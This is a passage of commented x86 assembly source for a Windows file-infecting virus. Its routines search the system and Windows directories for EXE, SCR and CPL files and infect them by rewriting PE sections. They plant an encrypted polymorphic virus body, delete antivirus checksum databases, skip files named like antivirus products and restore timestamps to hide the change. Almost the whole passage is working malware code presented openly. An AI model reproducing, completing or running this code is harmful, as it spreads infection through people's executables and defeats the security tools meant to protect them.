Directory2 db 80h dup (0) ; Place to save the current directory
|
||
|
||
LoadRegistryFunctions proc
|
||
lea eax, [ebp+RegistryDLL]
|
||
push eax
|
||
call dword ptr [ebp+RVA_LoadLibraryA]
|
||
or eax, eax ; Error?
|
||
jz @@Return ; Exit, then
|
||
mov [ebp+HandleADVAPI32], eax ; Save handle
|
||
lea esi, [ebp+ASC_RegistryFunctions] ; Names of functions
|
||
lea edi, [ebp+RVA_RegistryFunctions] ; Storage of RVAs
|
||
@@NextRVA: push esi
|
||
push edi
|
||
push esi
|
||
push dword ptr [ebp+HandleADVAPI32]
|
||
call dword ptr [ebp+RVA_GetProcAddress] ; Get the address
|
||
or eax, eax ; Error?
|
||
jz @@Return ; Exit, then
|
||
pop edi
|
||
pop esi
|
||
mov dword ptr [edi], eax ; Save RVA
|
||
add edi, 4
|
||
@@LoopNextFunc:
|
||
inc esi ; Next char
|
||
cmp byte ptr [esi], 0 ; End of name?
|
||
jnz @@LoopNextFunc ; If not, continue increasing
|
||
inc esi ; Jump over the 0
|
||
cmp byte ptr [esi], 0 ; Another 0?
|
||
jnz @@NextRVA ; If not, continue getting names
|
||
mov eax, 1
|
||
@@Return: ret
|
||
LoadRegistryFunctions endp
|
||
|
||
InfectSystemDir proc
|
||
mov ebx, [ebp+RVA_GetSystemDirectoryA]
|
||
Common_InfectDir: ; EBX=RVA of GetSystemDirectory
|
||
push 80h
|
||
lea eax, [ebp+Directory1]
|
||
push eax
|
||
call ebx ; GetSystemDirectory or GetWindowsDirectory
|
||
or eax, eax ; If error, end
|
||
jz @@Return
|
||
call SetDirectory1 ; Set that directory
|
||
call InfectCurrentDir ; Infect the directory files
|
||
@@Return: ret ; Return
|
||
InfectSystemDir endp
|
||
|
||
InfectWindowsDir proc
|
||
mov ebx, [ebp+RVA_GetWindowsDirectoryA]
|
||
jmp Common_InfectDir ; EBX=RVA of GetWindowsDirectory
|
||
InfectWindowsDir endp ; Jump to the common part of this
|
||
; function and the InfectSystemDir
|
||
|
||
SetDirectory1 proc
|
||
lea eax, [ebp+Directory1] ; Set the directory on this
|
||
push eax ; address (windows or system)
|
||
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
||
ret ; Return
|
||
SetDirectory1 endp
|
||
|
||
InfectCurrentDir proc
|
||
call DeleteDATs ; Delete some antivirus CRC protections
|
||
lea ecx, [ebp+FindFileMask1] ; ECX=RVA to *.EXE
|
||
call InfectCurrentDir2 ; Infect EXEs
|
||
lea ecx, [ebp+FindFileMask2] ; ECX=RVA to *.SCR
|
||
call InfectCurrentDir2 ; Infect SCRs
|
||
lea ecx, [ebp+FindFileMask3] ; ECX=RVA to *.CPL
|
||
call InfectCurrentDir2 ; Infect CPLs
|
||
ret ; Return
|
||
InfectCurrentDir endp
|
||
|
||
InfectCurrentDir2 proc
|
||
call Random ; Get a random counter to begin infection
|
||
and al, 3
|
||
mov [ebp+FileInfectionCounter], al
|
||
lea ebx, [ebp+FindFileField]
|
||
push ebx
|
||
push ecx
|
||
call dword ptr [ebp+RVA_FindFirstFileA] ; Find first file
|
||
inc eax ; Error?
|
||
jz @@Fin0 ; Then, jump
|
||
dec eax
|
||
mov dword ptr [ebp+FindFileHandle], eax ; Save handle
|
||
@@InfectAgain: cmp byte ptr [ebp+InfectAllFiles], 1 ;For infect all files
|
||
jz @@InfectAll ; instead of one of each four
|
||
dec byte ptr [ebp+FileInfectionCounter] ; Counter in -1?
|
||
jns @@DontInfect ; If not, don't infect
|
||
mov byte ptr [ebp+FileInfectionCounter], 3 ;Set count to 3
|
||
@@InfectAll: call InfectFile ; Infect the found file
|
||
@@DontInfect: lea ebx, [ebp+FindFileField] ; Get next file
|
||
push ebx
|
||
push dword ptr [ebp+FindFileHandle]
|
||
call dword ptr [ebp+RVA_FindNextFileA]
|
||
or eax, eax ; If no error or more files, jump and
|
||
jnz @@InfectAgain ; continue infection
|
||
push dword ptr [ebp+FindFileHandle] ; Close handle
|
||
call dword ptr [ebp+RVA_FindClose]
|
||
@@Fin0: ret ; Return
|
||
InfectCurrentDir2 endp
|
||
|
||
FindFileHandle dd 0
|
||
FileInfectionCounter db 0
|
||
|
||
;; InfectFile
|
||
;;------------
|
||
;; This function uses the data in FindFileField to infect the file that repre-
|
||
;; sents, so that's why in some parts of the virus I copy the data about the
|
||
;; file in that field before calling this.
|
||
InfectFile proc
|
||
cmp dword ptr [ebp+FileSizeLow], 00002004h
|
||
jb @@End
|
||
lea ebx, [ebp+FileName] ; EBX=RVA to the file name
|
||
; This function checks if the file name begins with TB (ThunderByte),
|
||
; SC (Scan and similars, usually McCaf‚), F- (F-Potatoe), PA (Panda
|
||
; Antivirus), DR (DrWeb) or NO (Nod-Ice), or it has a V in its name
|
||
; (many antivirus programs have it: AVP, INVIRCIBLE, CPAV, etc.)
|
||
call CheckFileName
|
||
jc @@End ; Carry Flag means that is a "forbidden" name,
|
||
; so we exit if CF is set
|
||
cmp dword ptr [ebp+RVA_SfcIsFileProtected], 0 ; Could be
|
||
; SFC.DLL loaded?
|
||
jz @@NoWin2000 ; If not, we're not in Win2000
|
||
push ebx
|
||
push 0 ; Check file against Win2K protection
|
||
call dword ptr [ebp+RVA_SfcIsFileProtected]
|
||
or eax, eax ; If 0, it isn't protected
|
||
jnz @@End ; If not 0, it's protected, so don't infect
|
||
@@NoWin2000:
|
||
push 80h ; Clear file attributes (remove a posible
|
||
lea ebx, [ebp+FileName] ; read-only attribute). I haven't
|
||
push ebx ; to save the old attributes coz they are
|
||
call dword ptr [ebp+RVA_SetFileAttributesA] ; saved in the
|
||
; FindFileField structure
|
||
call OpenFile ; Open file
|
||
jc @@End2 ; CF=We couldn't, so exit
|
||
call SaveDateTime ;Save date and time stamp. It's saved in
|
||
;the FindFileField structure, but I dunno
|
||
;why when I used that data the timestamp
|
||
;weren't restored correctly, and it was
|
||
;when I used this, so I use it.
|
||
call MapFile ; Open a mapping over the file
|
||
jc @@End3 ; If we couldn't, exit
|
||
; After this, the mapping address is stored in EAX and
|
||
; [MappingAddress]
|
||
mov edi, eax ; EDI=Mapping address
|
||
cmp word ptr [edi], 'ZM' ; Has the file executable struct?
|
||
jnz @@End4 ; If not, exit
|
||
mov esi, [edi+3Ch] ; Get PE header address
|
||
cmp esi, 2000h
|
||
ja @@End4 ; Maybe compressed DOS-EXE
|
||
add esi, edi
|
||
cmp word ptr [esi], 'EP' ; Is there a PE header?
|
||
jnz @@End4 ; If not, exit
|
||
|
||
;; ESI=PE header address, EDI=Mapping address (beginning of file)
|
||
|
||
;; The way we infect the files:
|
||
;; 0) We check the last section. If it is .rsrc, then the file can be infec-
|
||
;; ted. Otherwise, that last section must be .reloc, to be anulated. If that
|
||
;; section isn't the .reloc section, the file can't be infected, since it
|
||
;; could be infected already.
|
||
;; 1) The section .reloc (if exists) is anulated.
|
||
;; 2) If there isn't any reloc section, we create a new section if the PE
|
||
;; header has enough empty space to do it. If not, we end infection. When
|
||
;; we create that section, we set it as if it were an anulated .reloc.
|
||
;; 2) We check if the last is quite big to contain the virus. If not, we make
|
||
;; it bigger.
|
||
;; 4) We copy the virus to the last and we change the name of the section by
|
||
;; another randomly generated
|
||
;; 3) We copy from .text to the end of the last section (after the virus) the
|
||
;; portion of code that is going to be overwritten. Both virus and this data
|
||
;; are copied already encrypted.
|
||
;; 5) We overwrite .text section with the decryptor (we check if .text is big
|
||
;; enough to contain this).
|
||
;; 6) When execution, .text must be restored from the saved data.
|
||
|
||
movzx ebx, word ptr [esi+14h] ; Size of this header
|
||
movzx ecx, word ptr [esi+06h] ; Number of sections
|
||
mov word ptr [ebp+Sav_NumberOfSections], cx
|
||
lea ebx, [ebx+esi+18h] ; EBX=Address of the first section
|
||
mov eax, 28h ; EAX = Size of one section header
|
||
push ebx
|
||
push ecx
|
||
dec ecx
|
||
mul ecx
|
||
add ebx, eax ; EBX=Address of last section
|
||
sub ebx, edi ; EBX=Physical address in the mapped file
|
||
mov [ebp+LastHeader], ebx ; Save it here
|
||
pop ecx ; Restore some values (new EAX=old EBX)
|
||
pop eax ; EAX=Address of first section header
|
||
mov dword ptr [ebp+TextHeader], 0 ; Set to 0 to know if
|
||
mov dword ptr [ebp+RelocHeader], 0 ; this values has been
|
||
mov dword ptr [ebp+BssSection], 0 ; found when we end the
|
||
; loop
|
||
push edi
|
||
push ecx
|
||
push eax
|
||
lea edi, [ebp+SectionNames]
|
||
mov ecx, 30h / 4
|
||
xor eax, eax
|
||
rep stosd
|
||
pop eax
|
||
pop ecx
|
||
pop edi
|
||
|
||
@@Loop_001: cmp dword ptr [eax], 'xet.' ; Does it begin like .text?
|
||
jnz @@LookForReloc ; If not, do next check
|
||
cmp dword ptr [eax+4], 0+'t' ; .text?
|
||
jnz @@NextSection ; If not, look next section
|
||
mov byte ptr [ebp+SectionNames+0], 1
|
||
sub eax, edi
|
||
mov [ebp+TextHeader], eax ; Physical address of .text
|
||
add eax, edi ; Restore address
|
||
jmp @@NextSection2 ; Look next section
|
||
@@LookForReloc: cmp dword ptr [eax], 'ler.' ; Does it begin like .reloc?
|
||
jnz @@LookForBss ; If not, do next check
|
||
cmp dword ptr [eax+4], 0+'co' ; .reloc?
|
||
jnz @@NextSection ; If not, look next section
|
||
sub eax, edi
|
||
mov [ebp+RelocHeader], eax ; Physical address of .reloc
|
||
add eax, edi
|
||
jmp @@NextSection2 ; Look next section
|
||
@@LookForBss: cmp dword ptr [eax], 'ssb.' ; Does it begin like .bss?
|
||
jnz @@LookForIdata ; If not, do next check
|
||
cmp dword ptr [eax+4], 0 ; .bss?
|
||
jnz @@NextSection ; If not, look next section
|
||
mov byte ptr [ebp+SectionNames+1], 1
|
||
push eax
|
||
mov eax, [eax+0Ch] ; Save the RVA of the section for
|
||
add eax, [esi+34h] ; later use in the poly engine.
|
||
mov [ebp+BssSection], eax
|
||
pop eax
|
||
jmp @@NextSection2 ; Look next section
|
||
@@LookForIdata: cmp dword ptr [eax], 'adi.' ; Does it begin like .idata?
|
||
jnz @@NextSection ; If not, do next check
|
||
cmp dword ptr [eax+4], 0+'at' ; .idata?
|
||
jnz @@NextSection ; If not, look next section
|
||
or byte ptr [eax+24h+3], 80h ;make it writable (Win98 SE)
|
||
; jmp @@NextSection ; If not, per-process fails
|
||
@@NextSection: pushad
|
||
mov edi, eax
|
||
xor edx, edx
|
||
lea esi, [ebp+SZSectionNames]
|
||
@@LoopNS_001:
|
||
push edi
|
||
push esi
|
||
xor ecx, ecx
|
||
@@LoopNS_002:
|
||
cmpsb
|
||
jnz @@NextNS_001
|
||
inc ecx
|
||
cmp ecx, 8
|
||
jnz @@LoopNS_002
|
||
mov byte ptr [ebp+edx+SectionNames], 1
|
||
pop esi
|
||
pop edi
|
||
jmp @@NextNS_002
|
||
@@NextNS_001:
|
||
pop esi
|
||
pop edi
|
||
add esi, 8
|
||
inc edx
|
||
cmp byte ptr [esi], 0
|
||
jnz @@LoopNS_001
|
||
@@NextNS_002:
|
||
popad
|
||
|
||
@@NextSection2: add eax, 28h ; Next section
|
||
dec ecx
|
||
jnz @@Loop_001 ; Repeat it for every section
|
||
cmp [ebp+TextHeader], ecx ; 0? ; Text header found?
|
||
jz @@End4 ; If not, end infection
|
||
mov ebx, [ebp+RelocHeader]
|
||
or ebx, ebx ; Is there .reloc section?
|
||
jz @@CreateNew ; If not, create a new section
|
||
cmp ebx, [ebp+LastHeader] ; Is the last section the reloc?
|
||
jnz @@End4 ; If it isn't, exit
|
||
mov dword ptr [esi+0A0h], 0
|
||
mov dword ptr [esi+0A4h], 0 ; Anulate the fixup directory
|
||
jmp @@ContinueWithReloc
|
||
@@CreateNew: mov ebx, [ebp+LastHeader] ; Get the last header address
|
||
cmp dword ptr [ebx+edi], 'rsr.' ; Is .rsrc?
|
||
jnz @@End4
|
||
cmp dword ptr [ebx+edi+4], 0+'c'
|
||
jnz @@End4 ; If it isn't, end infection
|
||
mov byte ptr [ebp+SectionNames+2], 1
|
||
mov ebx, [ebp+LastHeader]
|
||
add ebx, edi ; Get the last header address
|
||
lea ecx, [ebx+28h] ; Get the new section address
|
||
xor eax, eax
|
||
@@LoopCheckIfHole:
|
||
cmp dword ptr [ecx+eax], 0 ; Check if all that space is 0
|
||
jnz @@End4 ; If not, there isn't space for creating
|
||
add eax, 4 ; a new section. We check it in all the
|
||
cmp eax, 28h ; 40 bytes of required space.
|
||
jb @@LoopCheckIfHole
|
||
|
||
; mov byte ptr [ecx], '.' ; Set the '.' of the name
|
||
mov dword ptr [ecx+08h], Virus_SizePOW2 ; The virtual size
|
||
; will be the required
|
||
mov eax, [ebx+08h] ; The physical address of the section
|
||
xor edx, edx ; will be the physical address of the
|
||
push ecx ; (before) last section plus its vir-
|
||
mov ecx, [esi+38h] ; tual size rounded to the section
|
||
div ecx ; physical alignment.
|
||
inc eax
|
||
mul ecx
|
||
pop ecx
|
||
add eax, [ebx+0Ch]
|
||
mov dword ptr [ecx+0Ch], eax ; Set that address
|
||
mov dword ptr [ecx+10h], 0 ; Set its physical size to
|
||
; 0 to force its readjustement
|
||
mov eax, [ebx+14h] ; The RVA of the new section will be
|
||
add eax, [ebx+10h] ; the RVA of the last plus its vir-
|
||
mov dword ptr [ecx+14h], eax ; tual size.
|
||
mov dword ptr [ecx+24h], 0A0000020h ; READABLE/WRITABLE/
|
||
; /EXECUTABLE
|
||
sub ecx, edi ; Get the mapping address of this
|
||
; section
|
||
mov [ebp+RelocHeader], ecx ; Save it here
|
||
inc word ptr [esi+06h] ;Increase the number of sections
|
||
@@ContinueWithReloc:
|
||
mov eax, [esi+28h] ; Get the initial RVA of the EXE
|
||
mov ebx, [esi+34h]
|
||
add eax, ebx ; Add the base address...
|
||
mov [ebp+InicIP], eax ; ...and save it
|
||
mov [ebp+ImageBase], ebx ; Save the base address, too
|
||
|
||
mov eax, [ebp+TextHeader] ; Get the mapped address of the
|
||
add eax, edi ; .text header in the file
|
||
; Check if it's big enough to hold a decryptor (physically and virtually)
|
||
cmp dword ptr [eax+08h], Host_Data_Size
|
||
jae @@OK_WithtextSize
|
||
cmp dword ptr [eax+10h], Host_Data_Size
|
||
jae @@OK_WithtextSize
|
||
@@P_End5: mov ax, word ptr [ebp+Sav_NumberOfSections]
|
||
mov word ptr [esi+06h], ax
|
||
jmp @@End4
|
||
@@OK_WithtextSize:
|
||
mov ebx, [eax+0Ch] ; EBX=Virtual address of .text
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, edi
|
||
mov eax, [eax+0Ch] ; EAX=Virtual address of last sect.
|
||
lea ecx, [ebx+Host_Data_Size] ; ECX=Maximum address where
|
||
; the decryptor can reach
|
||
mov edx, 78h ; EDX=Address inside the PE header where
|
||
; the directories start
|
||
;; Now we are going to check if any directory would be inside the decryp-
|
||
;; tor and then overwritting the code when automatic data like import RVAs
|
||
;; and all that are set by the kernel.
|
||
@@LoopDirCheck:
|
||
cmp dword ptr [esi+edx], ebx ;Check begin address of .text
|
||
jb @@NextDirCheck ; If below, then it's OK
|
||
cmp dword ptr [esi+edx], ecx ; Check max address in .text
|
||
jb @@P_End5 ; If below, it overwrites the
|
||
; decryptor, so finish
|
||
cmp dword ptr [esi+edx], eax ; Check RVA of last section
|
||
jae @@P_End5 ; If it overwrites the encrypted data, end
|
||
@@NextDirCheck:
|
||
add edx, 8 ; Next directory
|
||
cmp edx,0C8h ; End of directories?
|
||
jb @@LoopDirCheck ; If not, loop again
|
||
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, edi ; Get mapped address of last section header
|
||
mov ebx, Virus_SizePOW2 ; If the virtual size isn't big
|
||
cmp dword ptr [eax+08h], ebx ; enough, make it bigger
|
||
jae @@SizeIsOK_1
|
||
mov dword ptr [eax+08h], Virus_SizePOW2
|
||
@@SizeIsOK_1: mov ebx, [eax+0Ch] ; Calculate new virtual total size
|
||
add ebx, [eax+08h]
|
||
; add ebx, 1000h ; Add 1000h to be sure...
|
||
; Removed due to heuristic alert (virtual end of last section
|
||
; must coincide with virtual end of whole executable).
|
||
|
||
mov [esi+50h], ebx ; ...and put it on its header field
|
||
|
||
mov ebx, Virus_Size + Host_Data_Size ; Check now the
|
||
cmp dword ptr [eax+10h], ebx ; physical size
|
||
jae @@SizeIsOK_2
|
||
@@SizeIsNotOK: sub ebx, [eax+10h] ; Calculate the new physical size
|
||
mov ecx, eax ; of the last section and of all the
|
||
xchg ebx, eax ; file. If the last section is the
|
||
mov ebx, [esi+38h] ; .reloc and it's big enough to hold
|
||
xor edx, edx ; the virus (Virus_Size +
|
||
div ebx ; Host_Data_Size), then the file
|
||
or edx, edx ; doesn't grow in size.
|
||
jz @@RemainderIs0
|
||
inc eax
|
||
@@RemainderIs0:
|
||
mul ebx
|
||
add [ecx+10h], eax
|
||
|
||
add [ebp+FileSizeLow], eax
|
||
call UnmapFile ; Close this mapping
|
||
call MapFile ; Open a mapping with the new size
|
||
jc @@End3
|
||
; Here, the file is prepared to hold the virus
|
||
@@SizeIsOK_2:
|
||
mov dword ptr [ebp+MappingAddress], eax
|
||
mov edi, eax
|
||
mov esi, [edi+3Ch] ; This operations are made coz
|
||
add esi, edi ; maybe the mapping address
|
||
mov [ebp+PEHeaderAddress], esi ; changed when resizing.
|
||
|
||
mov eax, [ebp+TextHeader]
|
||
add eax, edi ; EAX=Address of .text header (map)
|
||
mov ebx, [eax+0Ch] ; New entrypoint of the executable
|
||
mov [esi+28h], ebx ; is the starting address of .text
|
||
; virtually
|
||
add ebx, [esi+34h] ; Add the base address of exec...
|
||
mov [ebp+RestoreAddress], ebx ; ...and we have the virtual
|
||
; address of text. We have
|
||
; to restore the host here.
|
||
mov ebx, [eax+08h]
|
||
mov [ebp+SizeOfText], ebx
|
||
|
||
mov ecx, [eax+14h] ; Get the physical address of the
|
||
add ecx, edi ; section in ECX
|
||
|
||
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, edi ; EAX=Phys. address of last sec. head.
|
||
or dword ptr [eax+24h], 0A0000020h ; Make it EXECUTABLE/
|
||
; /WRITABLE/READABLE
|
||
|
||
call ConstructNameForReloc
|
||
|
||
push edi
|
||
xchg edi, eax ; EAX=Mapping address
|
||
mov edi, [ebp+RelocHeader]
|
||
add edi, eax
|
||
mov edi, [edi+14h] ; EDI=Physical address of the last
|
||
add edi, eax ; section inside the executable, now
|
||
; mapped
|
||
|
||
call CalculateAPIsAddresses
|
||
|
||
push eax
|
||
call Random ; EAX=Random value, and one of the values
|
||
mov dword ptr [ebp+CryptValue2], eax ; the virus will be
|
||
; crypted with
|
||
|
||
;; This function creates a new decryptor at the beginning of the virus,
|
||
;; but with a normal polymorphism level. This avoids cryptanalisis and
|
||
;; all that.
|
||
call ModifyDumbDecryptor
|
||
pop eax
|
||
|
||
push esi ; ESI=Virus start
|
||
lea esi, [ebp+Inic_Virus]
|
||
mov ecx, Virus_Size / 4 ; Errrmh... size in dwords, maybe?
|
||
; :)
|
||
push eax
|
||
mov byte ptr [ebp+CopyingVirus], 1 ; This controls the
|
||
; first 3Ch bytes, to check
|
||
; if we have to encrypt with
|
||
; one or two encryption keys
|
||
; (the first 3Ch bytes are the
|
||
; little decryptor)
|
||
call EncryptWhileStoring ; OK, so that
|
||
pop eax
|
||
|
||
mov esi, [ebp+TextHeader]
|
||
add esi, [ebp+MappingAddress]
|
||
mov esi, [esi+14h]
|
||
add esi, [ebp+MappingAddress] ; ESI=Host code address
|
||
mov ecx, Host_Data_Size / 4
|
||
mov byte ptr [ebp+CopyingVirus], 0
|
||
call EncryptWhileStoring ; Store the overwritten data
|
||
; of the host encrypting it
|
||
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, [ebp+MappingAddress]
|
||
mov ecx, [eax+10h]
|
||
sub ecx, Virus_Size + Host_Data_Size
|
||
or ecx, ecx
|
||
jz @@JumpFillSection_002
|
||
call Random
|
||
and eax, 01FFh
|
||
cmp eax, ecx
|
||
jbe @@JumpFillSection_001
|
||
mov eax, ecx
|
||
@@JumpFillSection_001:
|
||
sub ecx, eax
|
||
mov edx, ecx
|
||
xchg ecx, eax
|
||
@@LoopFillSection_001:
|
||
call Random
|
||
stosb
|
||
loop @@LoopFillSection_001
|
||
mov ecx, edx
|
||
or ecx, ecx
|
||
jz @@JumpFillSection_002
|
||
xor al, al
|
||
rep stosb
|
||
@@JumpFillSection_002:
|
||
pop esi
|
||
pop edi
|
||
|
||
mov eax, [ebp+TextHeader]
|
||
add eax, edi
|
||
mov ebx, [eax+0Ch]
|
||
add ebx, [esi+34h] ; EBX=Virtual address where the de-
|
||
; cryptor will be
|
||
mov ecx, [eax+14h]
|
||
add ecx, edi ; ECX=Physical place where the de-
|
||
; cryptor will be constructed
|
||
|
||
mov eax, [ebp+RelocHeader]
|
||
add eax, edi
|
||
mov eax, [eax+0Ch]
|
||
add eax, [esi+34h]
|
||
sub eax, ebx ; EAX=Displacement from the decryptor
|
||
; start until the encrypted part. I
|
||
; use this to calculate the final
|
||
; jump to the decrypted part
|
||
|
||
; EAX=Displacement from the beginning till the virus
|
||
; EBX=Virtual address where the decryptors will be
|
||
; ECX=Place where the decryptors must be put
|
||
; Size of encrypted part is always Virus_SizePOW2
|
||
|
||
; int 3
|
||
call Tuareg ; Call this amazing engine! :)
|
||
|
||
mov eax, [ebp+EPAddition]
|
||
add [esi+28h], eax
|
||
|
||
; Let's calculate the checksum for the header address (if it's
|
||
; different from 0)
|
||
|
||
cmp dword ptr [ebp+RVA_CheckSumMappedFile], 0
|
||
jz @@End4
|
||
mov eax, [esi+58h]
|
||
or eax, eax
|
||
jz @@End4
|
||
lea eax, [esi+58h]
|
||
push eax
|
||
lea eax, [ebp+TextHeader] ; Buffer variable
|
||
push eax
|
||
push dword ptr [ebp+FileSizeLow]
|
||
push dword ptr [ebp+MappingAddress]
|
||
call dword ptr [ebp+RVA_CheckSumMappedFile]
|
||
|
||
@@End4: call UnmapFile ; Believe me, you'll miss these faci-
|
||
@@End3: call RestoreDateTime ; lities to understand the code when
|
||
; you look the code of TUAREG :P
|
||
push dword ptr [ebp+FileHandle]
|
||
call dword ptr [ebp+RVA_CloseHandle] ; Close file
|
||
|
||
@@End2: push dword ptr [ebp+FileAttributes]
|
||
lea ebx, [ebp+FileName]
|
||
push ebx ; Restore file attributes
|
||
call dword ptr [ebp+RVA_SetFileAttributesA]
|
||
@@End: ret ; Return from this
|
||
InfectFile endp
|
||
|
||
TextHeader dd 0 ; Some data...
|
||
RelocHeader dd 0
|
||
LastHeader dd 0
|
||
StartOfLastSection dd 0
|
||
PEHeaderAddress dd 0
|
||
|
||
CryptValue2 dd 0 ; This value is set somewhere...
|
||
|
||
Sav_NumberOfSections dw 0
|
||
|
||
SectionNames db 30h dup (0)
|
||
SZSectionNames db ".text",0,0,0
|
||
db ".bss",0,0,0,0
|
||
db ".rsrc",0,0,0
|
||
db "INITTASK"
|
||
db ".pdata",0,0
|
||
db ".tls",0,0,0,0
|
||
db ".Script",0
|
||
db ".petite",0
|
||
db "INIT",0,0,0,0
|
||
db "WINEXEC",0
|
||
db ".rdata",0,0
|
||
db ".udata",0,0
|
||
db "$$DOSX",0,0
|
||
db ".PCPEC",0,0
|
||
db "PREVIEW",0
|
||
db ".OBJ",0,0,0,0
|
||
db "_winzip_"
|
||
db ".PATCH",0,0
|
||
db "$prfth",0,0
|
||
db "PEPACK!!"
|
||
db "_cabinet"
|
||
db "actdlvry"
|
||
db ".adata",0,0
|
||
db ".textbss"
|
||
db ".CPS",0,0,0,0
|
||
db "_mvdata",0
|
||
db ".check",0,0
|
||
db "BSS",0,0,0,0,0
|
||
db ".dcode",0,0
|
||
db ".WWP32",0,0
|
||
db ".mdata",0,0
|
||
db ".debug",0,0
|
||
db ".data",0,0,0
|
||
db "DATA",0,0,0,0
|
||
db ".dllent",0
|
||
db ".WOPEC",0,0
|
||
db ".PEpsi",0,0
|
||
db ".drectve"
|
||
db "Ext_Cab1"
|
||
db ".gdata",0,0
|
||
db "ANAKiN98"
|
||
db "_sfxrun_"
|
||
db ".edata",0,0
|
||
db ".fearzip"
|
||
db ".idata",0,0
|
||
db "CODE",0,0,0,0
|
||
db ".petprg",0
|
||
db ".delete",0
|
||
db 0
|
||
|
||
ConstructNameForReloc proc
|
||
pushad
|
||
@@Loop01: call Random
|
||
and eax, 3Fh
|
||
cmp eax, 2Fh
|
||
ja @@Loop01
|
||
cmp byte ptr [ebp+eax+SectionNames], 1
|
||
jz @@Loop01
|
||
shl eax, 3
|
||
mov ecx, [ebp+RelocHeader]
|
||
add ecx, [ebp+MappingAddress]
|
||
mov ebx, dword ptr [ebp+eax+SZSectionNames]
|
||
mov [ecx], ebx
|
||
mov ebx, dword ptr [ebp+eax+SZSectionNames+4]
|
||
mov [ecx+4], ebx
|
||
popad
|
||
ret ; Return
|
||
ConstructNameForReloc endp
|
||
|
||
FindFileMask1 db '*.EXE',0 ; Masks for FindFirstFile and FindNext
|
||
FindFileMask2 db '*.SCR',0
|
||
FindFileMask3 db '*.CPL',0
|
||
|
||
;; Oh, I know this function is only called once, but the code is more struc-
|
||
;; tured with this and more clear to me. Moreover, if I want to put more than
|
||
;; one calls to this function in the future... hey, I'll have it coded already
|
||
;; :)
|
||
OpenFile proc
|
||
push 0
|
||
push 0
|
||
push 3
|
||
push 0
|
||
push 0 ; ??? (I don't remember exactly why this
|
||
push 0c0000000h ; values and no others :)
|
||
push ebx ; EBX=RVA to the file name (in FindFileField)
|
||
call dword ptr [ebp+RVA_CreateFileA] ; Open the file
|
||
inc eax
|
||
jz @@Error ; If error, return carry flag
|
||
dec eax
|
||
mov dword ptr [ebp+FileHandle], eax ; Save handle...
|
||
clc ; ...clear carry flag...
|
||
ret ; ...and return
|
||
@@Error: stc
|
||
ret
|
||
OpenFile endp
|
||
|
||
;; This function opens a mapping over the file represented in FindFileField.
|
||
;; The data there is used here (well, file size only, but I save a lot of
|
||
;; work if I use it in this manner)
|
||
MapFile proc
|
||
push 0
|
||
push dword ptr [ebp+FileSizeLow]
|
||
push 0
|
||
push 4
|
||
push 0
|
||
push dword ptr [ebp+FileHandle]
|
||
call dword ptr [ebp+RVA_CreateFileMappingA]
|
||
or eax, eax
|
||
jz @@FinError ; If error, exit
|
||
mov dword ptr [ebp+MappingHandle], eax
|
||
push dword ptr [ebp+FileSizeLow]
|
||
push 0
|
||
push 0
|
||
push 2
|
||
push dword ptr [ebp+MappingHandle] ; Open mapping
|
||
call dword ptr [ebp+RVA_MapViewOfFile]
|
||
or eax, eax ; If error, exit
|
||
jz @@FinError2
|
||
mov dword ptr [ebp+MappingAddress], eax ; Save mapping
|
||
clc ; RVA here, clear carry flag
|
||
ret ; and return
|
||
@@FinError2: push dword ptr [ebp+MappingHandle] ;If error, close handle
|
||
call dword ptr [ebp+RVA_CloseHandle] ;of file mapping, set
|
||
@@FinError: stc ; carry flag and exit.
|
||
ret
|
||
MapFile endp
|
||
|
||
MappingHandle dd 0 ; Variables
|
||
MappingAddress dd 0
|
||
FileHandle dd 0
|
||
|
||
;; This function, although it seems false, unmaps a previous mapping of a
|
||
;; file :P
|
||
UnmapFile proc
|
||
push dword ptr [ebp+MappingAddress]
|
||
call dword ptr [ebp+RVA_UnmapViewOfFile]
|
||
push dword ptr [ebp+MappingHandle]
|
||
call dword ptr [ebp+RVA_CloseHandle]
|
||
ret
|
||
UnmapFile endp
|
||
|
||
;; This function checks a file name to determine if it's a "dangerous" file
|
||
;; if infected or we can infect it without problems (theorically). It checks
|
||
;; the file name to see if it begins with TB (Thunderbyte appz), SC (Scan and
|
||
;; others, normally McCaf‚ one), F- (F-Potatoe), PA (Panda Antivirus), DR
|
||
;; (DrWeb) and NO (Nod-Ice), or it has a "V" in any position (it's usual for
|
||
;; an antivirus to have a "V" in the name, like AVP, DSAV, etc.)
|
||
CheckFileName proc
|
||
push ebx
|
||
push edx
|
||
lea esi, [ebp+FileName]
|
||
mov ebx, esi
|
||
dec ebx
|
||
@@Loop_001: lodsb
|
||
or al, al
|
||
jnz @@Loop_001
|
||
std
|
||
dec esi
|
||
dec esi
|
||
@@Loop_002: lodsb
|
||
cmp al, '\'
|
||
jz @@EndName2
|
||
cmp al, ':'
|
||
jz @@EndName2
|
||
cmp esi, ebx
|
||
jnz @@Loop_002
|
||
jmp @@EndName
|
||
@@EndName2: inc esi
|
||
@@EndName: cld ; Here we have the file name without path
|
||
inc esi
|
||
lodsw ; Read the two first letters
|
||
movzx edx, ax
|
||
call ToLower ; Convert them to lowercase
|
||
cmp edx, 0+'bt'
|
||
jz @@Error
|
||
cmp edx, 0+'cs'
|
||
jz @@Error
|
||
cmp edx, 0+'-f'
|
||
jz @@Error
|
||
cmp edx, 0+'ap'
|
||
jz @@Error
|
||
cmp edx, 0+'rd'
|
||
jz @@Error
|
||
cmp edx, 0+'on' ; Any antivirus?
|
||
jz @@Error ; If it is, then jump to set carry flag
|
||
dec esi
|
||
dec esi
|
||
dec esi
|
||
@@Again: inc esi ; Check "V"s in the name
|
||
cmp byte ptr [esi], 'v'
|
||
jz @@Error
|
||
cmp byte ptr [esi], 'V'
|
||
jz @@Error ; If any, set carry
|
||
cmp byte ptr [esi], 0
|
||
jnz @@Again
|
||
mov edx, [esi-4]
|
||
call ToLower
|
||
cmp edx, 'exe.' ; Check if the file is .EXE, .SCR or
|
||
jz @@ItsOK ; .CPL. This is made because the per-
|
||
cmp edx, 'rcs.' ; process functions have no mask to
|
||
jnz @@Error ; search.
|
||
cmp eax, 'lpc.'
|
||
jnz @@Error
|
||
@@ItsOK: pop edx
|
||
pop ebx
|
||
clc
|
||
ret
|
||
@@Error: pop edx
|
||
pop ebx
|
||
stc
|
||
ret
|
||
CheckFileName endp
|
||
|
||
;; Function to convert the four character string in EDX to lowercase
|
||
ToLower proc
|
||
